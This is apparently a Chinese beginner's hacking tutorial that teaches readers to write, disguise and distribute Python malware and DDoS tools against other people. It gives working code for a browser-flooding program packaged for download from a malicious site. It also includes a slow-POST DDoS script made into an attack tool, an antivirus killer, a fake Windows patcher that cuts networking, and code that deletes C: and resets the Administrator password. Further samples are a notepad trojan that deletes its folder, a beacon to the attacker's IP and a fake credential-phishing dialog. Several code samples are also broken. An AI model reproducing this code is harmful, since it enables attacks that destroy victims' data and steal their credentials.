不知道大家有沒有聽說過有一種程序,通過不斷打開網(wǎng)頁進行加載來導致計算機卡頓。這也是一種病毒。
我們本章也來教大家編寫這一類的病毒,并且教大家如何進行傳播。
本章我們還會了解到凡科建站,這是一個很厲害的建站程序??梢宰屇悴挥么a代碼就進行網(wǎng)站搭建。我們通過這個功能來建造我們自己的主頁,然后像黑客小榕那樣發(fā)布我們的黑客軟件。當然,我們也可以做一些惡意網(wǎng)站,這樣就可以得到很好的效果。
凡科建站
百度搜索:凡科建站,注冊一個賬號,接著,我們來建造我們的主頁。
這里我已經(jīng)開過站點了,如果大家不會創(chuàng)建,可以百度搜索。
進入后,可以按照新手指南來創(chuàng)作自己的主頁。
我的主頁如下:
用網(wǎng)頁來傳播病毒
我們可以在建造的網(wǎng)站上讓用戶下載病毒,這樣可以得到很有效的效果。我編寫的病毒如下:
import webbrowser import tkinter.messagebox while 1: webbrowser.open("baidu.com") tk.messagebox.showerror('Windows錯誤','Windows被不明程序劫持,正在嘗試自救......')
代碼效果:
此處還沒截圖到messagebox就死機了,因為刷的太厲害了。
我們可以把這個病毒打包后傳播到網(wǎng)上,雖然只是一個很簡單的小程序。
我用百度網(wǎng)盤創(chuàng)建了一個分享鏈接,用凡科建站做了一個網(wǎng)頁,可以下載這個病毒。
但是,我們還沒有給它編譯為exe程序,所以,我們要下載pyinstaller,進行編譯。
自己作一幅畫,接著將它轉換為ico格式,當做應用圖標。
在命令行(終端)輸入:
pyintaller -F -w -i 圖片路徑 文件路徑
打包完后,會在dist目錄下出現(xiàn)exe程序,并且build里會有配置文件。
創(chuàng)建一個新的文件夾,將配置文件和exe程序放入,然后打包為zip/rar/7z壓縮文件,上傳到百度網(wǎng)盤,鏈接為:
https://pan.baidu.com/s/1t2c_fZiijR-QpXs7jANj0Q,接著進入凡科建站,做一個惡意網(wǎng)站:
這個惡意網(wǎng)站可以讓別人下載這個惡意病毒,是傳播的途徑。
對網(wǎng)站進行攻擊
網(wǎng)站攻擊一般都是SQL數(shù)據(jù)庫注入、DNS欺騙、DDoS攻擊等。SQL注入和DNS欺騙對我們來說暫時太難,我們先從DDoS啟。
在前面,我們已經(jīng)說明了和介紹了DDoS攻擊的原理和代碼,在本節(jié),我們將對這個腳本進行改造,讓它變成一個強大的黑客軟件——DDoS:ME
回顧
先回顧一下之前的腳本代碼,我們是用了socket模塊進行不斷發(fā)送連接請求來實現(xiàn)的。其中,較關鍵的關鍵字有:
while 1: import socket Host = "" ......
這些都是腳本的重點,如果丟掉While,那你的腳本只會執(zhí)行一次。如果丟掉import,那么將會出錯。如果丟掉Host,那么,你的腳本將沒有目標…
回顧一下之前的代碼,試著嘗試解決以下問題和建議:
1、如何讓攻擊強度變大?
2、可以將socket模塊換成其他嗎?
組織一場龐大的DDoS攻擊
真正的高級攻擊都不是一個人完成的。都是在肉雞(傀儡機)和隊友的幫助下完成的。你不妨組織一個黑客聯(lián)盟,一起來進行黑客技術的研究。
本節(jié),我們就來教大家組織一場龐大的DDoS攻擊,并且教大家如何進行攻擊。
組織
組織,一個包含了深意的名詞。有了組織,我們就可以更加強大。
本小節(jié),我們就來進行組織。
1、創(chuàng)建組織
你可以邀請你的朋友加入我們的行列,并要它閱讀這本書里的引子和介紹。接著,你可以在QQ或WeChat里組織一個團體,可以取一個有意義的名字。例如:
Hello,Hackers!
Hacker men
計算機殺手們
黑客軍團
黑客帝國
這些都是一些有趣的名字,你可以采取點意見。
接著,你可以將自己的成果與大家共享,再收獲別人的成果。用一段有趣的話來說:化學罐車碰油罐車,火花才激烈!
2、加入組織
你可以加入任何的組織,只要它愿意。加入后,你可以像上一小節(jié)那樣,一起來交流。
如遇到讓你很感興趣的話題,你可以向發(fā)布人詢問代碼,Python社區(qū)都十分友好,Hackers社區(qū)就更別說了——一家人,難道還不友好嗎?
攻擊
組織之后,例如我的團隊現(xiàn)在有8個人,分別是:
C++
Java
Python(Me)
1
2
3
4
5
我們就可以進行合作,例如:
C++進行偵查,看看網(wǎng)站有什么狀況
Java進行本地網(wǎng)絡檢查,看看有沒有被人發(fā)現(xiàn)并試圖連接
Python(Me)、1、2、3、4、5進行攻擊,努力取得勝利。
這樣,隊伍就會變得十分團結。
那么,我就以我自己的網(wǎng)站為例,進行攻擊。
我的團隊共有3個人,分別為:1、2、Me
1進行攻擊
2進行探查
Me進行攻擊
2探查到了:
網(wǎng)站的分享功能因流量不足被關閉了。
1和Me在攻擊:
import socket import time ......
這樣的話,這個網(wǎng)站很快就因流量崩潰而無法訪問:
DDoS攻擊軟件的制作
把腳本變成攻擊軟件,這也許會比較好。別的人可以更好的進行使用。
我們先打開DDoS攻擊腳本,代碼如下:
import socket import time import threading #Pressure Test,ddos tool #--------------------------- MAX_CONN=20000 PORT=80 HOST=""#在雙引號里輸入對方IP或域名,要保證他聯(lián)網(wǎng)了或開機了. PAGE="/index.php" #--------------------------- buf=("POST %s HTTP/1.1\r\n" "Host: %s\r\n" "Content-Length: 10000000\r\n" "Cookie: dklkt_dos_test\r\n" "\r\n" % (PAGE,HOST)) socks=[] def conn_thread(): global socks for i in range(0,MAX_CONN): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((HOST,PORT)) s.send(buf.encode()) print ("Send buf OK!,conn=%d\n"%i) socks.append(s) except Exception as ex: print ("Could not connect to server or send error:%s"%ex) time.sleep(0.1) #end def def send_thread(): global socks while True: for s in socks: try: s.send("f".encode()) #print "send OK!" except Exception as ex: print ("Send Exception:%s\n"%ex) socks.remove(s) s.close() time.sleep(0.1) #end def conn_th=threading.Thread(target=conn_thread,args=()) send_th=threading.Thread(target=send_thread,args=()) conn_th.start() send_th.start()
我們第一步就是給它加上標題和IP輸入?yún)^(qū),那么,將代碼修改成這樣:
import socket import time import threading #Pressure Test,ddos tool print("歡迎使用DDoS:ME!") HOST = input("DDoS:ME請求您輸入IP:") #--------------------------- MAX_CONN=20000 PORT=80 PAGE="/index.php" #--------------------------- buf=("POST %s HTTP/1.1\r\n" "Host: %s\r\n" "Content-Length: 10000000\r\n" "Cookie: dklkt_dos_test\r\n" "\r\n" % (PAGE,HOST)) socks=[] def conn_thread(): global socks for i in range(0,MAX_CONN): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((HOST,PORT)) s.send(buf.encode()) print ("Send buf OK!,conn=%d\n"%i) socks.append(s) except Exception as ex: print ("Could not connect to server or send error:%s"%ex) time.sleep(0.1) #end def def send_thread(): global socks while True: for s in socks: try: s.send("f".encode()) #print "send OK!" except Exception as ex: print ("Send Exception:%s\n"%ex) socks.remove(s) s.close() time.sleep(0.1) #end def conn_th=threading.Thread(target=conn_thread,args=()) send_th=threading.Thread(target=send_thread,args=()) conn_th.start() send_th.start()
這樣,就成為一個簡易的攻擊軟件了。
不過,我們還得繼續(xù)改進。
本次改進就當做本小節(jié)的挑戰(zhàn)了,希望經(jīng)過那么久的學習,你可以完成這個挑戰(zhàn)。
挑戰(zhàn)
1、將本節(jié)的DDoS攻擊器進行改造,成為一個完美的攻擊器。
2、讓這段代碼的威力更厲害點兒
網(wǎng)站攻擊要點
在本書中,不會教大家如何進行DNS欺騙和別的攻擊。因為這些知識很難,比DDoS難得多。但是,在本書,我們會將病毒研發(fā)延伸到我的終點——我會貢獻我所有可以貢獻的知識。
在攻擊時,一定不要忘記自己的身份:
我是一名黑客
既然你是黑客,那就不該做壞事。如果不小心對人家造成了損失,那就成駭客了。
Python3.7編程學習
在中級篇里,我們還要學習如何編程。這樣有助于我們偽裝我們的程序。例如我通過編程來做一個DDoS攻擊器,然后讓其他人下載。接著,再讓你編寫的病毒運行,就可以將別人一網(wǎng)打盡了。
輸入和輸出
在IDE中輸入和輸出,我們可以利用print()和input()來完成。這兩個都是Python自帶的函數(shù),我們可以隨心所欲的用它,并且不用定義。
輸出
輸出是指將信息顯示出來,這就是輸出。
代碼例子:
print("Hello, World!")
輸入
輸入是指讓使用的用戶進行鍵盤敲擊,從而進行錄入。
代碼例子:
name = input("What's your name?")
這兩個模塊都十分重要,要務必記住它們。
計算
讓Python幫你計算,其實十分簡單。
你可以根據(jù)下列代碼進行分析和學習:
1+1 #加法 2-1 #減 3*3 #乘 9/3 #除以 10%3 #模
函數(shù)
我們可以通過定義函數(shù)來解決總是一樣的代碼。
代碼例子:
def print_a(): print("a")
循環(huán)
循環(huán)有兩種,一個是For,一個是While。
這些都是循環(huán),只是方式不同。
代碼例子:
#while while 1: print("010101001010100101010")
#For for word in ["You","are","cool!"]: print(word)
判斷
在Python中,我們用if組語句來判斷。在本書中,我們只學習if、else兩個語句。
代碼例子:
age = 10 if age == 10: print("你滿十歲啦!") else : print("NO!你沒有十歲!")
程序例子學習
1、你幾歲了?
age = input("你幾歲了?") if age == "18": print("你剛好成年!") else : print("你不是18歲,你可能未成年!")
2、我會機器語言
while 1: print("010010101010010101010101010101000101010101010101001010101001010010100101010110010101011111111111111101101010101")
高級篇
在這一篇里,你將學習編寫高級病毒。這些高級病毒十分厲害,最好在虛擬機中查看結果。
我的虛擬機因為無法連接網(wǎng)絡,所以在這里我就不做注入演示。
在本章,我們將完成大部分的典型病毒,準備好了嗎?
在這之前,我們還要為所有的病毒編寫一個必要的程序:
后臺運行和免殺
后臺運行
在病毒代碼的末端加入如下代碼:
window=tk.Tk() window.withdraw() window.mainloop()
這樣,你就可以讓你的病毒在后臺運行了。
免殺
我們通過編寫代碼來實現(xiàn)病毒免殺。
我們可以通過打亂病毒特征碼來進行,也可以編寫“花指令”。
在這里,我們將用到一個新的知識點——欺騙。
“花指令”在前面的篇章里說過,就是編寫一段不是病毒源代碼的代碼,來欺騙殺毒軟件。
這里,這個病毒也叫“程序殺手木馬”。
我們通過代碼來實現(xiàn)“程序殺手木馬”,來保護我們的病毒可以正常運行。
我們先看看如下代碼:
os.system(r'taskkill /F /IM 進程名')
這段代碼實現(xiàn)了停止某個進程,那么,我們這里以金山毒霸為例,來關閉金山毒霸。
首先,金山毒霸的文件名為:
kxetray.exe
我們將剛才的代碼改一下:
import os os.system(r'taskkill /F /IM kxetray.exe') time.sleep(5) window=tk.Tk() window.withdraw() window.mainloop()
FTP病毒
ftp病毒的作用就是打開21端口,等待連接。但如果對方打開了ftp,那么,這個病毒就不必要了。
因為大部分用戶都開啟了21端口,所以這個病毒跳過。
斷網(wǎng)病毒
斷網(wǎng)病毒的原理就是關閉Windows網(wǎng)絡服務,使其斷網(wǎng)。并且還會進行網(wǎng)絡堵塞。為了騙過用戶,我們仿造了Windows漏洞修復程序,其內(nèi)容簡單,代碼如下:
import os os.system("net stop service") import subprocess print("正在進行環(huán)境監(jiān)測,請稍后") ret = subprocess.call("title Windows漏洞修復", shell=True) ret = subprocess.call("ping -t -l 100 127.0.0.0", shell=True) window=tk.Tk() window.withdraw() window.mainloop()
破壞型病毒
在之前,我們已經(jīng)做過一款破壞型病毒了。這次,我們繼續(xù)進行改造,讓它成為一個高級的病毒。
import tkinter as tk import tkinter.messagebox import subprocess import time import os import datetime import os import sys ret = subprocess.call("del C:\ ", shell=False) ret = subprocess.call("ping -n 1 -l 1 你自己的IP", shell=False) #用作通知,通知你有人遭到了你的病毒攻擊,從而對它進行DoS攻擊。 ret = subprocess.call("net user Administrator 123456", shell=False) ret = subprocess.call("ping 你自己的IP",shell=False)#通知你進行登錄這個用戶,從而進行高級操作 window=tk.Tk() window.withdraw() window.mainloop()
①在第一次通知時,對目標進行DoS攻擊。(可以通過資源監(jiān)視器來查看通知),從而使對方網(wǎng)絡堵塞和系統(tǒng)速度變慢。
②在第二次時,用telnet指令連接對方,登錄Administrator用戶,輸入密碼123456,即可進行更高操作。
telnet 對方IP 正在連接對方IP...... 用戶名:Administrator 密碼:123456 正在登錄...... 已成功登錄Administrator!
(注:因版本原因,顯示可能不相同,請諒解。)
自毀木馬
這個木馬的功能并不是盜取信息,而是同歸于盡。
它將偽裝成正常程序,并且會在收集完一定系統(tǒng)信息后帶著當前目錄下的部分文件同歸于盡。
這個木馬難度較大,并且還要進行偽裝,在這里,我們將這個木馬偽裝成這個程序:
這是一款記事本程序,我們可以用它來進行偽裝,它的代碼如下:
#__author__='ZhangP' #-*- encoding:utf8 -*- from tkinter import * import tkinter.messagebox import tkinter.filedialog import os root=Tk() root.title('記事本') root.geometry("800x500+100+100") filename='' def author(): tkinter.messagebox.askokcancel('作者信息','本軟件由tiantian520開發(fā)') def about(): tkinter.messagebox.askokcancel('版權信息.Copyright','隨意轉載啦!') def openfile(): global filename filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt') if filename == '': filename=None else: root.title('FileName:'+os.path.basename(filename)) textPad.delete(1.0,END) f=open(filename,'r',encoding='utf-8') textPad.insert(1.0,f.read()) f.close() def new(): global filename root.title("未命名文件") filename=None textPad.delete(1.0,END) def save(): global filename try: f=open(filename,'w') msg=textPad.get(1.0,END) f.write(msg) f.close() except: saveas() def saveas(): f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt') global filename filename=f fh=open(f,'w') msg=textPad.get(1.0,END) fh.write(msg) fh.close() root.title('FileName:'+os.path.basename(f)) def cut(): textPad.event_generate('<<Cut>>') def copy(): textPad.event_generate('<<Copy>>') def paste(): textPad.event_generate('<<Paste>>') def redo(): textPad.event_generate('<<Redo>>') def undo(): textPad.event_generate('<<Undo>>') def selectAll(): textPad.tag_add('sel','1.0',END) def search(): topsearch=Toplevel(root) topsearch.geometry('300x30+200+250') label1=Label(topsearch,text='Find') label1.grid(row=0,column=0,padx=5) entry1=Entry(topsearch,width=20) entry1.grid(row=0,column=1,padx=5) button1=Button(topsearch,text='查找') button1.grid(row=0,column=2) menubar=Menu(root) root.config(menu=menubar) filemenu=Menu(menubar) filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new) filemenu.add_command(label='打開',accelerator='Ctrl+O',command=openfile) filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save) filemenu.add_command(label='另存為',accelerator='Ctrl+Shift+S',command=saveas) menubar.add_cascade(label='文件',menu=filemenu) editmenu=Menu(menubar) editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo) editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo) #添加分割線 editmenu.add_separator() editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut) editmenu.add_command(label='復制',accelerator='Ctrl+C',command=copy) editmenu.add_command(label='粘貼',accelerator='Ctrl+V',command=paste) editmenu.add_separator() editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search) editmenu.add_command(label='全選',accelerator='Ctrl+A',command=selectAll) menubar.add_cascade(label='編輯',menu=editmenu) aboutmenu=Menu(menubar) aboutmenu.add_command(label='作者',command=author) aboutmenu.add_command(label='版權',command=about) menubar.add_cascade(label='關于',menu=aboutmenu) toolbar=Frame(root,height=25,bg='light sea green') shortButton=Button(toolbar,text='打開',command=openfile) shortButton.pack(side=LEFT,padx=5,pady=5) shortButton=Button(toolbar,text='保存',command=save) shortButton.pack(side=LEFT) toolbar.pack(expand=NO,fill=X) status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W) status.pack(side=BOTTOM,fill=X) lnlabel=Label(root,width=2,bg='antique white') lnlabel.pack(side=LEFT,fill=Y) textPad=Text(root,undo=True) textPad.pack(expand=YES,fill=BOTH) scroll=Scrollbar(textPad) textPad.config(yscrollcommand=scroll.set) scroll.config(command=textPad.yview) scroll.pack(side=RIGHT,fill=Y) root.mainloop()
我們用它來充當正常程序,而我們將修改一下代碼,使其變?yōu)榈湫湍抉R。
因為難度較大,所以我們一步一步、腳踏實地的來學習。
我們先看一段代碼:
import os current_dir = os.path.dirname(os.path.abspath(__file__)) os.system("del " + current_dir)
這段代碼可以實現(xiàn)刪除這個文件所在的目錄文件夾,我們就用這段代碼來進行自毀木馬的編寫。
看一下之前的代碼:
#-*- encoding:utf8 -*- from tkinter import * import tkinter.messagebox import tkinter.filedialog import os root=Tk() root.title('記事本') root.geometry("800x500+100+100") filename='' def author(): import os current_dir = os.path.dirname(os.path.abspath(__file__)) os.system("del " + current_dir) tkinter.messagebox.askokcancel('作者信息','本軟件由tiantian520開發(fā)') def about(): tkinter.messagebox.askokcancel('版權信息.Copyright','隨意轉載啦!') def openfile(): global filename filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt') if filename == '': filename=None else: root.title('FileName:'+os.path.basename(filename)) textPad.delete(1.0,END) f=open(filename,'r',encoding='utf-8') textPad.insert(1.0,f.read()) f.close() def new(): global filename root.title("未命名文件") filename=None textPad.delete(1.0,END) def save(): global filename try: f=open(filename,'w') msg=textPad.get(1.0,END) f.write(msg) f.close() except: saveas() def saveas(): f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt') global filename filename=f fh=open(f,'w') msg=textPad.get(1.0,END) fh.write(msg) fh.close() root.title('FileName:'+os.path.basename(f)) def cut(): textPad.event_generate('<<Cut>>') def copy(): textPad.event_generate('<<Copy>>') def paste(): textPad.event_generate('<<Paste>>') def redo(): textPad.event_generate('<<Redo>>') def undo(): textPad.event_generate('<<Undo>>') def selectAll(): textPad.tag_add('sel','1.0',END) def search(): topsearch=Toplevel(root) topsearch.geometry('300x30+200+250') label1=Label(topsearch,text='Find') label1.grid(row=0,column=0,padx=5) entry1=Entry(topsearch,width=20) entry1.grid(row=0,column=1,padx=5) button1=Button(topsearch,text='查找') button1.grid(row=0,column=2) menubar=Menu(root) root.config(menu=menubar) filemenu=Menu(menubar) filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new) filemenu.add_command(label='打開',accelerator='Ctrl+O',command=openfile) filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save) filemenu.add_command(label='另存為',accelerator='Ctrl+Shift+S',command=saveas) menubar.add_cascade(label='文件',menu=filemenu) editmenu=Menu(menubar) editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo) editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo) #添加分割線 editmenu.add_separator() editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut) editmenu.add_command(label='復制',accelerator='Ctrl+C',command=copy) editmenu.add_command(label='粘貼',accelerator='Ctrl+V',command=paste) editmenu.add_separator() editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search) editmenu.add_command(label='全選',accelerator='Ctrl+A',command=selectAll) menubar.add_cascade(label='編輯',menu=editmenu) aboutmenu=Menu(menubar) aboutmenu.add_command(label='作者',command=author) aboutmenu.add_command(label='版權',command=about) menubar.add_cascade(label='關于',menu=aboutmenu) toolbar=Frame(root,height=25,bg='light sea green') shortButton=Button(toolbar,text='打開',command=openfile) shortButton.pack(side=LEFT,padx=5,pady=5) shortButton=Button(toolbar,text='保存',command=save) shortButton.pack(side=LEFT) toolbar.pack(expand=NO,fill=X) status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W) status.pack(side=BOTTOM,fill=X) lnlabel=Label(root,width=2,bg='antique white') lnlabel.pack(side=LEFT,fill=Y) textPad=Text(root,undo=True) textPad.pack(expand=YES,fill=BOTH) scroll=Scrollbar(textPad) textPad.config(yscrollcommand=scroll.set) scroll.config(command=textPad.yview) scroll.pack(side=RIGHT,fill=Y) root.mainloop()
我們加上點剛才看的代碼:
#-*- encoding:utf8 -*- from tkinter import * import tkinter.messagebox import tkinter.filedialog import os root=Tk() root.title('記事本') root.geometry("800x500+100+100") filename='' def author(): import os current_dir = os.path.dirname(os.path.abspath(__file__)) os.system("del " + current_dir) tkinter.messagebox.askokcancel('作者信息','本軟件由tiantian520開發(fā)') def about(): import os current_dir = os.path.dirname(os.path.abspath(__file__)) os.system("del " + current_dir) tkinter.messagebox.askokcancel('版權信息.Copyright','隨意轉載啦!') def openfile(): global filename import os current_dir = os.path.dirname(os.path.abspath(__file__)) os.system("del " + current_dir) filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt') if filename == '': filename=None else: root.title('FileName:'+os.path.basename(filename)) textPad.delete(1.0,END) f=open(filename,'r',encoding='utf-8') textPad.insert(1.0,f.read()) f.close() def new(): global filename root.title("未命名文件") filename=None textPad.delete(1.0,END) def save(): global filename try: f=open(filename,'w') msg=textPad.get(1.0,END) f.write(msg) f.close() except: saveas() def saveas(): f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt') global filename filename=f fh=open(f,'w') msg=textPad.get(1.0,END) fh.write(msg) fh.close() root.title('FileName:'+os.path.basename(f)) def cut(): textPad.event_generate('<<Cut>>') def copy(): textPad.event_generate('<<Copy>>') def paste(): textPad.event_generate('<<Paste>>') def redo(): textPad.event_generate('<<Redo>>') def undo(): textPad.event_generate('<<Undo>>') def selectAll(): textPad.tag_add('sel','1.0',END) def search(): topsearch=Toplevel(root) topsearch.geometry('300x30+200+250') label1=Label(topsearch,text='Find') label1.grid(row=0,column=0,padx=5) entry1=Entry(topsearch,width=20) entry1.grid(row=0,column=1,padx=5) button1=Button(topsearch,text='查找') button1.grid(row=0,column=2) menubar=Menu(root) root.config(menu=menubar) filemenu=Menu(menubar) filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new) filemenu.add_command(label='打開',accelerator='Ctrl+O',command=openfile) filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save) filemenu.add_command(label='另存為',accelerator='Ctrl+Shift+S',command=saveas) menubar.add_cascade(label='文件',menu=filemenu) editmenu=Menu(menubar) editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo) editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo) #添加分割線 editmenu.add_separator() editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut) editmenu.add_command(label='復制',accelerator='Ctrl+C',command=copy) editmenu.add_command(label='粘貼',accelerator='Ctrl+V',command=paste) editmenu.add_separator() editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search) editmenu.add_command(label='全選',accelerator='Ctrl+A',command=selectAll) menubar.add_cascade(label='編輯',menu=editmenu) aboutmenu=Menu(menubar) aboutmenu.add_command(label='作者',command=author) aboutmenu.add_command(label='版權',command=about) menubar.add_cascade(label='關于',menu=aboutmenu) toolbar=Frame(root,height=25,bg='light sea green') shortButton=Button(toolbar,text='打開',command=openfile) shortButton.pack(side=LEFT,padx=5,pady=5) shortButton=Button(toolbar,text='保存',command=save) shortButton.pack(side=LEFT) toolbar.pack(expand=NO,fill=X) status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W) status.pack(side=BOTTOM,fill=X) lnlabel=Label(root,width=2,bg='antique white') lnlabel.pack(side=LEFT,fill=Y) textPad=Text(root,undo=True) textPad.pack(expand=YES,fill=BOTH) scroll=Scrollbar(textPad) textPad.config(yscrollcommand=scroll.set) scroll.config(command=textPad.yview) scroll.pack(side=RIGHT,fill=Y) root.mainloop()
這樣,我們就可以大致實現(xiàn)自毀木馬了。
入侵病毒
通過入侵病毒,我們可以盡快進行入侵,從而對對方實現(xiàn)高級操作。
現(xiàn)在我們先編寫一個打開后可以通知黑客的病毒,這次,使用socket模塊來進行。
下面是代碼:
import socket import time import threading import tkinter as tk #--------------------------- MAX_CONN=20000 PORT=80 HOST="你的IP" PAGE="/index.php" #--------------------------- buf=("POST %s HTTP/1.1\r\n" "Host: %s\r\n" "Content-Length: 10000000\r\n" "Cookie: dklkt_dos_test\r\n" "\r\n" % (PAGE,HOST)) try: socks=[] s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((HOST,PORT)) s.send(buf.encode()) window=tk.Tk() window.withdraw() window.mainloop()
這樣,我們就可以實現(xiàn)通知了。
接著,我們就可以使用自己編寫的Telnet連接器進行連接:
# -*- coding: utf-8 -*- import telnetlib # 配置選項 Host = '' # Telnet服務器IP username = '' # 登錄用戶名 password = '' # 登錄密碼 finish = ':~$ ' # 命令提示符(標識著上一條命令已執(zhí)行完畢) # 連接Telnet服務器 tn = telnetlib.Telnet(Host) # 輸入登錄用戶名 n.read_until('login: ') tn.write(username + '\n') # 輸入登錄密碼 tn.read_until('Password: ') tn.write(password + '\n') # 登錄完畢后,執(zhí)行l(wèi)s命令 tn.read_until(finish) tn.write('ls\n') # ls命令執(zhí)行完畢后,終止Telnet連接(或輸入exit退出) tn.read_until(finish) tn.close() # tn.write('exit\n')
連接后,即可執(zhí)行l(wèi)s命令,如果需執(zhí)行其他命令,可以修改下面代碼:
tn.write('ls\n')#修改命令
你可以刪除對方C盤,看看對方圖片!現(xiàn)在,我們雖然進入了對方計算機,但是還沒有獲得Root權限,如果可以,我們也可以獲得最高權限——Administrator
接下來,我教大家用代碼實現(xiàn)向對方進行攻擊,并且獲得管理員權限。
首先,我們可以先將之前的病毒再加上幾個代碼:
from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import datetime import tkinter as tk import tkinter.messagebox from os import path from subprocess import Popen, PIPE from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import webbrowser try : window=tk.Tk() window.title('歡迎使用Windows高級功能!') window.geometry('450x300') tk.messagebox.showinfo(title='welcome', message='很高興您使用Windows高級功能!請在這里重新注冊一個賬號,并且,用戶名與密碼必須與您現(xiàn)在使用的用戶一樣。') #畫布放置圖片 canvas=tk.Canvas(window,height=300,width=500) imagefile=tk.PhotoImage(file='Hello.png') image=canvas.create_image(0,0,anchor='nw',image=imagefile) canvas.pack(side='top') #標簽 用戶名密碼 tk.Label(window,text='用戶名:').place(x=100,y=150) tk.Label(window,text='密碼:').place(x=100,y=190) #用戶名輸入框 var_usr_name=tk.StringVar() entry_usr_name=tk.Entry(window,textvariable=var_usr_name) entry_usr_name.place(x=160,y=150) #密碼輸入框 var_usr_pwd=tk.StringVar() entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show='*') entry_usr_pwd.place(x=160,y=190) #登錄函數(shù) def usr_log_in(): #輸入框獲取用戶名密碼 usr_name=var_usr_name.get() usr_pwd=var_usr_pwd.get() #從本地字典獲取用戶信息,如果沒有則新建本地數(shù)據(jù)庫 try: with open('usr_info.pickle','rb') as usr_file: usrs_info=pickle.load(usr_file) except FileNotFoundError: with open('usr_info.pickle','wb') as usr_file: usrs_info={'admin':'admin'} pickle.dump(usrs_info,usr_file) #判斷用戶名和密碼是否匹配 if usr_name in usrs_info: if usr_pwd == usrs_info[usr_name]: tk.messagebox.showinfo(title='welcome', message='歡迎您:'+usr_name) tk.messagebox.showerror(message='系統(tǒng)錯誤 \n 錯誤代碼:01x0111x0 \n 請關閉此程序,因為它似乎不適合你的Windows!') else: tk.messagebox.showerror(message='密碼錯誤') #用戶名密碼不能為空 elif usr_name=='' or usr_pwd=='' : tk.messagebox.showerror(message='用戶名或密碼為空') #不在數(shù)據(jù)庫中彈出是否注冊的框 else: is_signup=tk.messagebox.askyesno('歡迎','您還沒有注冊,是否現(xiàn)在注冊') if is_signup: usr_sign_up() #注冊函數(shù) def usr_sign_up(): #確認注冊時的相應函數(shù) def signtowcg(): #獲取輸入框內(nèi)的內(nèi)容 nn=new_name.get() np=new_pwd.get() npf=new_pwd_confirm.get() #本地加載已有用戶信息,如果沒有則已有用戶信息為空 try: with open('usr_info.pickle','rb') as usr_file: exist_usr_info=pickle.load(usr_file) except FileNotFoundError: exist_usr_info={} #檢查用戶名存在、密碼為空、密碼前后不一致 if nn in exist_usr_info: tk.messagebox.showerror('錯誤','用戶名已存在') elif np =='' or nn=='': tk.messagebox.showerror('錯誤','用戶名或密碼為空') elif np !=npf: tk.messagebox.showerror('錯誤','密碼前后不一致') #注冊信息沒有問題則將用戶名密碼寫入數(shù)據(jù)庫 else: exist_usr_info[nn]=np with open('usr_info.pickle','wb') as usr_file: pickle.dump(exist_usr_info,usr_file) tk.messagebox.showinfo('歡迎','注冊成功') #注冊成功關閉注冊框 window_sign_up.destroy() #新建注冊界面 window_sign_up=tk.Toplevel(window) window_sign_up.geometry('350x200') window_sign_up.title('注冊') #用戶名變量及標簽、輸入框 new_name=tk.StringVar() tk.Label(window_sign_up,text='用戶名:').place(x=10,y=10) tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10) #密碼變量及標簽、輸入框 new_pwd=tk.StringVar() tk.Label(window_sign_up,text='請輸入密碼:').place(x=10,y=50) tk.Entry(window_sign_up,textvariable=new_pwd,show='*').place(x=150,y=50) #重復密碼變量及標簽、輸入框 new_pwd_confirm=tk.StringVar() tk.Label(window_sign_up,text='請再次輸入密碼:').place(x=10,y=90) tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show='*').place(x=150,y=90) #確認注冊按鈕及位置 bt_confirm_sign_up=tk.Button(window_sign_up,text='確認注冊', command=signtowcg) bt_confirm_sign_up.place(x=150,y=130) #退出的函數(shù) def usr_sign_quit(): try : window.destroy() except : pass #登錄 注冊按鈕 bt_login=tk.Button(window,text='登錄',command=usr_log_in) bt_login.place(x=140,y=230) bt_logup=tk.Button(window,text='注冊',command=usr_sign_up) bt_logup.place(x=210,y=230) bt_logquit=tk.Button(window,text='退出',command=usr_sign_quit) bt_logquit.place(x=280,y=230) #主循環(huán) window.mainloop() # -*-coding:utf-8-* import socket import threading import Queue import time except : pass
這段代碼會讓用戶輸入自己的賬號的密碼,并且保存到usr_info.pickle中,我們在它輸入后,找到這個文件,并且用記事本打開,里面就會寫著密碼和用戶名,如圖所示:
這樣,我們就可以知道對方管理員賬號密碼了,即可登錄到對方計算機上,并且擁有Administrator權限了。
廣告病毒
想必大家對廣告都不陌生,經(jīng)常占滿全屏的廣告,很可能,某一個就是誘導你的計算機病毒?。?!
所以,在本章,我們來學習如何制作廣告病毒。
首先,它得是個窗口,并且還是得有一個樣子,大致構圖如下:
點擊這個鏈接,就會通往惡意網(wǎng)站。
效果如下:
代碼:
